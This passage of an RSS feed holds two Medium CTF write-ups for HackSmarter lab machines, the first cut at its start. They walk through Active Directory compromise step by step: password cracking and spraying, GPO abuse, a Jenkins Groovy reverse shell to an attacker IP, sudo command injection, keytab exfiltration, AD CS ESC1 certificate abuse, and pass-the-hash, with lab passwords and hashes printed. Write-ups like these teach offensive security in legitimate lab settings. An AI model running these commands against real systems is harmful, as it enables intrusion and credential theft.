10.1.93.242</pre><p>The generated ZIP archive was imported into BloodHound for privilege analysis.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5WxOZbwGiu69bVPXD-rirw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/587/1*7gxM_ZDJbAYuI059LPl6Aw.png" /></figure><h3>BloodHound Analysis</h3><p>BloodHound revealed an interesting privilege relationship.</p><p>The account <strong>Greg Shields</strong> belonged to the <strong>Group Policy Creator Owners</strong> group and possessed write permissions over the <strong>Default Domain Policy</strong>.</p><p>Specifically, Greg had:</p><ul><li>GenericAll</li><li>WriteOwner</li><li>WriteDACL</li></ul><p>These permissions meant that compromising Greg’s account would likely allow modification of the Default Domain Policy, creating a path to Domain Administrator.</p><p>At this stage, however, Greg’s credentials were still unknown.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jvvEBFNHOH02H7jjN9Y0qw.png" /></figure><h3>Discovering Additional Credentials</h3><p>I continued enumeration by performing directory brute forcing and discovered a webmail portal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/1*K2H2Wx6fjM-ssn1olt8Vdw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*6QISCEroG2GeUvKeaNLVIg.png" /></figure><p>Logging in with Jack’s credentials provided access to his mailbox.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uN3Z0aqcY7sO-ozsii8KDg.png" /></figure><p>During mailbox analysis, I discovered a <strong>router2.cfg</strong> file which I downloaded into my kali linux:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/1*V-iW5ht0I-XViC4raeml6w.png" /></figure><p>Got a hash from this file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/471/1*wKG0FX2ObV8HQTF6z0qc4Q.png" /></figure><pre>$1$mERr$isugnYiHsjHT.i.tc2GDY.</pre><p>The hash was cracked with Hashcat.</p><pre>hashcat hash.txt /usr/share/wordlists/rockyou.txt</pre><p>This revealed a password that appeared suitable for password spraying.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/438/1*pTcISZzbdZ7eO-8nuKL0Qg.png" /></figure><h3>Password Spraying</h3><p>Using the recovered password, I sprayed all identified users.</p><pre>netexec smb 10.1.93.242 \<br>-u users.txt \<br>-p Chocolate1 \<br>--shares</pre><p>The spray succeeded against:</p><pre>lainey.moore : Chocolate1</pre><h3>RDP Access</h3><p>BloodHound also revealed that <strong>Lainey Moore</strong> belonged to the <strong>Remote Desktop Users</strong> group. Although her account did not possess privileged Active Directory rights, this membership indicated that she was authorized to log in via Remote Desktop Protocol (RDP).</p><p>At this point, I did not yet have Lainey’s credentials, so I continued credential hunting. Eventually, password spraying successfully recovered valid credentials for her account, allowing me to establish an interactive RDP session.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t9MH8UA95O0w8BjKzw6zwA.png" /></figure><p>Using the newly recovered credentials, I connected through RDP.</p><pre>xfreerdp3 \<br>/v:10.1.93.242 \<br>/u:lainey.moore \<br>/p:Chocolate1</pre><p>After logging in, I captured the user flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/430/1*HvOVIARF1JHhUoRA86niRQ.png" /></figure><p>While searching the Documents folder, I discovered administrator notes hinting toward HS Router.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*PDSpfB9sJw49y35rrS-ldA.png" /></figure><p>Inspected the Putty — HS Router Login file and got credentials:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/356/1*P4ZSggJY89jJW6re9sbtRg.png" /></figure><p>netadmin : 5y5coSmarter2025!!!</p><h3>Reusing the New Password</h3><p>I tested the recovered password against all discovered users.</p><pre>netexec smb 10.1.93.242 \<br>-u users.txt \<br>-p 5y5coSmarter2025!!! \<br>--shares</pre><p>The credentials were valid for:</p><pre>greg.shields : 5y5coSmarter2025!!!</pre><p>This was the account BloodHound had previously identified as possessing full control over the Default Domain Policy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XHCxLwWilepIojUdiFX_uQ.png" /></figure><h3>Abusing the Default Domain Policy</h3><p>Greg’s permissions allowed modification of the Default Domain Policy.</p><p>This is a dangerous privilege because Group Policy is automatically applied across domain systems. An attacker who controls a domain-wide GPO can deploy scheduled tasks, execute commands, add privileged users, or modify security settings throughout the domain.</p><p>To automate this process, I used <strong>pyGPOAbuse</strong>.</p><pre>git clone https://github.com/Hackndo/pyGPOAbuse.git<br>cd pyGPOAbuse</pre><pre>python3 -m venv venv<br>source venv/bin/activate</pre><pre>pip install -r requirements.txt</pre><p>I then modified the Default Domain Policy by creating a scheduled task.</p><pre>python3 pygpoabuse.py \<br>sysco.local/greg.shields \<br>-gpo-id 31B2F340-016D-11D2-945F-00C04FB984F9 \<br>-taskname hacksmarter \<br>-command &quot;net localgroup administrators greg.shields /add&quot; \<br>-dc-ip 10.1.93.242</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3GTnh6F3ZYckG4HmZktr2w.png" /></figure><p>Once the policy had been modified, I reconnected via RDP as Greg.</p><pre>xfreerdp3 \<br>/v:10.1.93.242 \<br>/u:greg.shields \<br>/p:5y5coSmarter2025!!!</pre><p>To immediately apply the updated Group Policy, I executed:</p><pre>gpupdate /force</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/486/1*fnAbHPI_0IKaGRpEatZw0g.png" /></figure><p>After the policy refreshed, I verified Greg’s privileges.</p><pre>net user greg.shields</pre><p>The account now possessed administrative privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/1*TZ3iAVkC5ljUzQAMq9nhVw.png" /></figure><h3>Capturing the Root Flag</h3><p>With administrative access established, I navigated to the Administrator desktop.</p><pre>C:\Users\Administrator\Desktop\root.txt</pre><p>The root flag was successfully captured.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/598/1*24oeODYx6H3K_eEP0FS1PA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8c0fd134900a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackSmarter-Anomaly Writeup]]></title>
            <link>https://medium.com/@malikaqsa149/hacksmarter-anomaly-writeup-168f28df5e46?source=rss-11205e4e44b8------2</link>
            <guid isPermaLink="false">https://medium.com/p/168f28df5e46</guid>
            <dc:creator><![CDATA[Aqsa Malik]]></dc:creator>
            <pubDate>Fri, 10 Jul 2026 09:35:19 GMT</pubDate>
            <atom:updated>2026-07-10T09:35:19.286Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>In this machine, the initial foothold was obtained through a misconfigured Jenkins instance that allowed authentication with default credentials. After gaining code execution through the Jenkins Script Console, I exploited a vulnerable custom binary to escalate privileges on the Ubuntu server. During post-exploitation, I discovered a Kerberos keytab file that enabled authenticated access to the Active Directory environment. Finally, I abused an AD CS ESC1 certificate template misconfiguration to impersonate a Domain Administrator and capture the root flag.</p><h3>Initial Enumeration</h3><p>I started with an Nmap scan to identify the exposed services on the target.</p><p>The scan revealed only two open ports:</p><ul><li><strong>22/tcp</strong></li><li><strong>8080/tcp</strong></li></ul><p>Browsing to port <strong>8080</strong> confirmed that a Jenkins instance was running.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/774/1*fJbEHXkgRTP-85CXjJmrUA.png" /></figure><h3>Exploiting Jenkins</h3><p>The Jenkins login page accepted the default credentials:</p><p>admin:admin</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RTUP-34FRvQCQlnueeKDvQ.png" /></figure><p>After authentication, I navigated to <strong>Manage Jenkins</strong> (/manage) and discovered that the <strong>Script Console</strong> was accessible.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m0w2Bv3fJPyIsftUFOQQJg.png" /></figure><p>The Script Console allows administrators to execute arbitrary Groovy code on the Jenkins server. To verify code execution, I executed the following command:</p><pre>println &quot;whoami&quot;.execute().text</pre><p>The output confirmed that commands were being executed as the <strong>jenkins</strong> user.</p><pre>jenkins</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*PSUbLa-LUvEiZBvJ-oTNwQ.png" /></figure><h3>Obtaining a Reverse Shell</h3><p>Since arbitrary command execution was available, I generated a Python reverse shell from <a href="https://www.revshells.com/"><strong>revshells.com</strong></a> and executed it through the Groovy Script Console.</p><pre>def cmd = [<br> &quot;python3&quot;,<br> &quot;-c&quot;,<br> &quot;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&#39;10.200.44.166&#39;,9001));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn(&#39;/bin/sh&#39;)&quot;<br>]<br>cmd.execute()</pre><p>A Netcat listener immediately received a shell as the <strong>jenkins</strong> user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*27_SxPQoznJO47HOZC9foQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/573/1*5OdS9IeebKZSqDYx3PppwA.png" /></figure><h3>Stabilizing the Shell</h3><p>To improve usability, I upgraded the shell to a fully interactive TTY.</p><pre>python3 -c &#39;import pty;pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><p>Background the shell:</p><pre>CTRL + Z</pre><p>Configure the terminal:</p><pre>stty raw -echo<br>fg<br>reset<br>xterm</pre><p>At this point, the shell behaved like a normal terminal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/435/1*nVFVZeK_FjW4eQQ0zEO_0A.png" /></figure><h3>Privilege Escalation</h3><p>To identify available sudo permissions, I executed:</p><pre>sudo -l</pre><p>One entry immediately stood out:</p><pre>/usr/bin/router_config</pre><p>This was a custom binary that could be executed with elevated privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/1*f_-O3H7hXH96iQi5IkaB5Q.png" /></figure><p>To understand its functionality, I inspected it using:</p><pre>strings /usr/bin/router_config</pre><p>The output suggested that user input was being passed directly into system commands.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/388/1*A1poY5U7qhwjLfu4qxBfkg.png" /></figure><p>To verify whether command injection was possible, I executed:</p><pre>sudo /usr/bin/router_config &quot;whoami&quot;</pre><p>The command executed successfully, confirming the vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/515/1*HSL_NZy4fk3xKklPA-dphQ.png" /></figure><p>Instead of executing a simple command, I supplied an interactive shell:</p><pre>sudo /usr/bin/router_config &quot;/bin/bash -i&quot;</pre><p>This resulted in a root shell on the Ubuntu server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/1*RGAXzP_9K4Epc5eG1E85HA.png" /></figure><p><strong>User.txt:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*XPN5Zr2l3QloK3YUEPosnw.png" /></figure><h3>Post Exploitation</h3><p>While enumerating the filesystem as root, I searched for Kerberos-related files.</p><pre>ls /etc/krb5*</pre><p>Two files were present:</p><pre>krb5.conf<br>krb5.keytab</pre><p>The keytab file was particularly interesting because it stores Kerberos authentication material that can often be used instead of passwords.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/337/1*oe2CplymR-XjiBRQn7a7Ug.png" /></figure><h3>Exfiltrating the Keytab File</h3><p>I started a temporary HTTP server on the compromised host:</p><pre>python3 -m http.server 1234</pre><p>From my Kali machine, I downloaded the file:</p><pre>wget http://10.1.161.202:1234/krb5.keytab</pre><p>Since keytab files are binary, I used <strong>keytabextract.py</strong> to inspect its contents.</p><pre>python3 keytabextract.py krb5.keytab</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/716/1*EhSxfxZ1iREn1LmU5yqgXQ.png" /></figure><h3>Configuring Kerberos on Kali</h3><p>I updated the /etc/hosts file:</p><pre>10.1.168.37 anomaly-dc.anomaly.hsm anomaly-dc</pre><p>Next, I configured /etc/krb5.conf:</p><pre>[realms]<br> ANOMALY.HSM = {<br>     kdc = anomaly-dc.anomaly.hsm<br>     admin_server = anomaly-dc.anomaly.hsm<br> }</pre><p>If Kerberos utilities are not installed:</p><pre>sudo apt install krb5-user</pre><h3>Authenticating with the Keytab</h3><p>Instead of requiring a password, Kerberos allows authentication directly using a keytab.</p><p>I generated a Ticket Granting Ticket (TGT):</p><pre>kinit -kt krb5.keytab Brandon_Boyd@ANOMALY.HSM</pre><p>The ticket was verified using:</p><pre>klist</pre><p>To allow Kerberos-aware tools to use the cached ticket:</p><pre>export KRB5CCNAME=/tmp/krb5cc_1000</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*euGpu8SdkTfSbPbxKRPrdw.png" /></figure><h3>LDAP Enumeration</h3><p>Using Kerberos authentication, I enumerated domain users.</p><pre>netexec ldap anomaly.hsm -u brandon_boyd -k --use-kcache --users</pre><p>During enumeration, I discovered Brandon Boyd’s password stored in a user’s <strong>description</strong> attribute.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TtQD9SHw1djUNcm6xq8yhg.png" /></figure><h3>BloodHound Enumeration</h3><p>Using the recovered credentials, I collected BloodHound data.</p><p><strong>Command:</strong></p><p>netexec ldap 10.1.168.37 \ -u brandon_boyd \ -p ‘3edc4rfv#EDC$RFV’ \ — bloodhound -c all \ — dns-server 10.1.168.37</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pFjPKxjvgtRCPjr0rg0c4A.png" /></figure><p>After importing the data into BloodHound, the graph revealed two Domain Administrator accounts:</p><ul><li>Administrator</li><li>Anna_Molly</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/819/1*Njneq149_NvtObpELy1kkw.png" /></figure><p>Although BloodHound did not reveal a direct privilege escalation path, Active Directory Certificate Services (AD CS) became the next attack vector.</p><h3>Exploiting AD CS (ESC1)</h3><p>I searched for vulnerable certificate templates using Certipy.</p><pre>certipy-ad find \<br>-u brandon_boyd \<br>-p &#39;3edc4rfv#EDC$RFV&#39; \<br>-dc-ip 10.1.168.37 \<br>-vulnerable</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/749/1*j5AAgOAuZZzfxQoq8mf9zg.png" /></figure><p>The results identified the <strong>CertAdmin</strong> certificate template as vulnerable to <strong>ESC1</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*DHd9GK8MW81wcwrJLAUv4A.png" /></figure><p>The template allowed the requester to specify an arbitrary <strong>Subject Alternative Name (SAN)</strong>, making it possible to request certificates on behalf of other users.</p><p>However, only <strong>Domain Computers</strong> possessed enrollment rights.</p><h3>Adding a Machine Account</h3><p>To satisfy the enrollment requirements, I created a new computer account.</p><pre>impacket-addcomputer \<br>&#39;anomaly.hacksmarter/brandon_boyd:3edc4rfv#EDC$RFV&#39; \<br>-dc-ip 10.1.168.37 \<br>-computer-name &#39;Hacker&#39; \<br>-computer-pass &#39;Hacker123!&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8Q8xjLBoxgAue_0jgMOjvg.png" /></figure><h3>Requesting a Certificate as Anna_Molly</h3><p>Using the newly created machine account, I requested a certificate while impersonating <strong>Anna_Molly</strong>.</p><p>Her SID was obtained from BloodHound.</p><pre>certipy-ad req \<br>-u &#39;Hacker$&#39; \<br>-p &#39;Hacker123!&#39; \<br>-dc-ip 10.1.168.37 \<br>-ca anomaly-ANOMALY-DC-CA-2 \<br>-template CertAdmin \<br>-upn Anna_Molly@anomaly.hsm \<br>-sid S-1-5-21-1496966362-3320961333-4044918980-1105</pre><p>The request succeeded and produced an authentication certificate.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/857/1*5GPsWi9RioA1gVVvAHdJPQ.png" /></figure><h3>Extracting the NTLM Hash</h3><p>I authenticated using the generated certificate.</p><pre>certipy-ad auth \<br>-pfx anna_molly.pfx \<br>-dc-ip 10.1.168.37</pre><p>Certipy returned the NTLM hash for <strong>Anna_Molly</strong>.</p><pre>aad3b435b51404eeaad3b435b51404ee:be4bf3131851aee9a424c58e02879f6e</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*a5fE8Ao-1N-Tji2rGWznUQ.png" /></figure><h3>Gaining a Domain Administrator Shell</h3><p>Because Windows Defender was blocking traditional Impacket tools such as wmiexec.py, I used <strong>WMIExec2</strong>.</p><pre>git clone https://github.com/ice-wzl/wmiexec2<br>cd wmiexec2<br>pip install -r requirements.txt</pre><p>Using the recovered NTLM hash:</p><pre>python3 wmiexec2.py \<br>&#39;anomaly/Anna_Molly@10.1.168.37&#39; \<br>-hashes &#39;:be4bf3131851aee9a424c58e02879f6e&#39;</pre><p>Authentication succeeded, providing a remote shell as <strong>Anna_Molly</strong>, a Domain Administrator.</p><p>From there, I retrieved the final root flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/455/1*Z0uQ23ovGPhJnr-dddgMQA.png" /></figure><p><a href="https://medium.com/u/a8788c56effa">Tyler Ramsbey</a></p><p><a href="https://www.hacksmarter.org/">https://www.hacksmarter.org/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=168f28df5e46" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>